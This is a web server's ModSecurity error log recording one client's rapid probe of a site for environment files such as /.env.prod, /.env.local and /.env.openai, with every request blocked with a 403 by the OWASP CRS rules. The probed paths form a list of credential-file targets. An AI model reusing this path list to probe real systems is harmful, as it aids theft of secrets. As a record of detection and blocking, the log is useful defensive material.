[Tue Oct 27 11:27:20.522473 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auDC2ODGYG7bZ6qVgjrpNgAAABA"]
[Tue Oct 27 11:27:20.524783 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auDC2EogvnxwSoGhv_BPDQAAAA4"]
[Tue Oct 27 11:27:20.524923 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auDC2EogvnxwSoGhv_BPDQAAAA4"]
[Tue Oct 27 11:27:20.525158 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auDC2EogvnxwSoGhv_BPDQAAAA4"]
[Tue Oct 27 11:27:20.525937 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auDC2BQ4PArk8zmfF_xaNgAAAAs"]
[Tue Oct 27 11:27:20.526081 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auDC2BQ4PArk8zmfF_xaNgAAAAs"]
[Tue Oct 27 11:27:20.526319 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auDC2BQ4PArk8zmfF_xaNgAAAAs"]
[Tue Oct 27 11:27:20.593110 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auDC2Kk5WBwWuEHXa74CrgAAAAc"]
[Tue Oct 27 11:27:20.593110 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auDC2Aab8Q6c3Z8MLTxBggAAABI"]
[Tue Oct 27 11:27:20.593339 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auDC2Kk5WBwWuEHXa74CrgAAAAc"]
[Tue Oct 27 11:27:20.593360 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auDC2Aab8Q6c3Z8MLTxBggAAABI"]
[Tue Oct 27 11:27:20.593633 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auDC2Aab8Q6c3Z8MLTxBggAAABI"]
[Tue Oct 27 11:27:20.593634 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auDC2Kk5WBwWuEHXa74CrgAAAAc"]
[Tue Oct 27 11:27:20.596671 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auDC2DEbFPv4b_SwB77hZgAAAAo"]
[Tue Oct 27 11:27:20.596884 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auDC2DEbFPv4b_SwB77hZgAAAAo"]
[Tue Oct 27 11:27:20.597215 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auDC2DEbFPv4b_SwB77hZgAAAAo"]
[Tue Oct 27 11:27:20.597543 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auDC2FoIklFaGsOHQ-PJDQAAAAw"]
[Tue Oct 27 11:27:20.597671 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auDC2FoIklFaGsOHQ-PJDQAAAAw"]
[Tue Oct 27 11:27:20.597878 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auDC2FoIklFaGsOHQ-PJDQAAAAw"]
[Tue Oct 27 11:27:20.598788 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auDC2ODGYG7bZ6qVgjrpNwAAABA"]
[Tue Oct 27 11:27:20.601482 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auDC2EogvnxwSoGhv_BPDgAAAA4"]
[Tue Oct 27 11:27:20.666808 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auDC2ODGYG7bZ6qVgjrpNwAAABA"]
[Tue Oct 27 11:27:20.667015 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auDC2EogvnxwSoGhv_BPDgAAAA4"]
[Tue Oct 27 11:27:20.667143 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auDC2ODGYG7bZ6qVgjrpNwAAABA"]
[Tue Oct 27 11:27:20.667295 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auDC2EogvnxwSoGhv_BPDgAAAA4"]
[Tue Oct 27 11:27:20.618402 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auDC2BQ4PArk8zmfF_xaNwAAAAs"]
[Tue Oct 27 11:27:20.667704 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auDC2BQ4PArk8zmfF_xaNwAAAAs"]
[Tue Oct 27 11:27:20.669126 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auDC2BQ4PArk8zmfF_xaNwAAAAs"]
[Tue Oct 27 11:27:20.668823 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgwAAABI"]
[Tue Oct 27 11:27:20.669496 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgwAAABI"]
[Tue Oct 27 11:27:20.669703 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auDC2Aab8Q6c3Z8MLTxBgwAAABI"]
[Tue Oct 27 11:27:20.671617 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auDC2DEbFPv4b_SwB77hZwAAAAo"]
[Tue Oct 27 11:27:20.671757 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auDC2DEbFPv4b_SwB77hZwAAAAo"]
[Tue Oct 27 11:27:20.671992 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auDC2DEbFPv4b_SwB77hZwAAAAo"]
[Tue Oct 27 11:27:20.673913 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auDC2FoIklFaGsOHQ-PJDgAAAAw"]
[Tue Oct 27 11:27:20.674043 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auDC2FoIklFaGsOHQ-PJDgAAAAw"]
[Tue Oct 27 11:27:20.674272 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auDC2FoIklFaGsOHQ-PJDgAAAAw"]
[Tue Oct 27 11:27:20.701698 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDC2Kk5WBwWuEHXa74CrwAAAAc"]
[Tue Oct 27 11:27:20.701931 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDC2Kk5WBwWuEHXa74CrwAAAAc"]
